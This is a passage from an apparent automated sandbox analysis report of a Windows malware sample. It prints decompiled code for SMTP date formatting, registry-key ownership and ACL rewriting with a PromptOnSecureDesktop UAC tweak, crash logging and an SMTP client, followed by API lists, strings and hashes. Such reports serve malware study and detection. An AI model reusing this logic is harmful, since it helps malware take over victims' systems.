				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Dec, xrefs: 0040B2A3
Mar, xrefs: 0040B264
Nov, xrefs: 0040B29C
Sat, xrefs: 0040B24F
Feb, xrefs: 0040B25D
Thu, xrefs: 0040B241
Jun, xrefs: 0040B279
Tue, xrefs: 0040B233
Fri, xrefs: 0040B248
Aug, xrefs: 0040B287
Jul, xrefs: 0040B280
Mon, xrefs: 0040B22C
Oct, xrefs: 0040B295
Jan, xrefs: 0040B256
Sun, xrefs: 0040B225
Apr, xrefs: 0040B26B
Sep, xrefs: 0040B28E
Wed, xrefs: 0040B23A
May, xrefs: 0040B272
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00637CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 00637D0A
GetUserNameA.ADVAPI32(?,?), ref: 00637D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00637D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 00637D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00637DA9
EqualSid.ADVAPI32(?,?), ref: 00637DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 00637DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00637DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00637DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 00637DFB
LocalFree.KERNEL32(00000000), ref: 00637E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00637E1E

Strings

PromptOnSecureDesktop, xrefs: 00637F89
D, xrefs: 00637D5C

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: 806d1c0dd98609add4e943a4f62bb57aa25e0abf1dc6982360d0a77a34aa93a1
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 7BA142B1904219AFDF218F91DD88FEFBBB9FB48300F148069F505E6250DB758A85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
except_info, xrefs: 00406728
va=%08X%08X uef=%p, xrefs: 00406595
%d=%p, xrefs: 004066F9
plgs:, xrefs: 004066AA
Jan 13 2018, xrefs: 0040653A
12:08:32, xrefs: 00406535
localcfg, xrefs: 0040672D
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
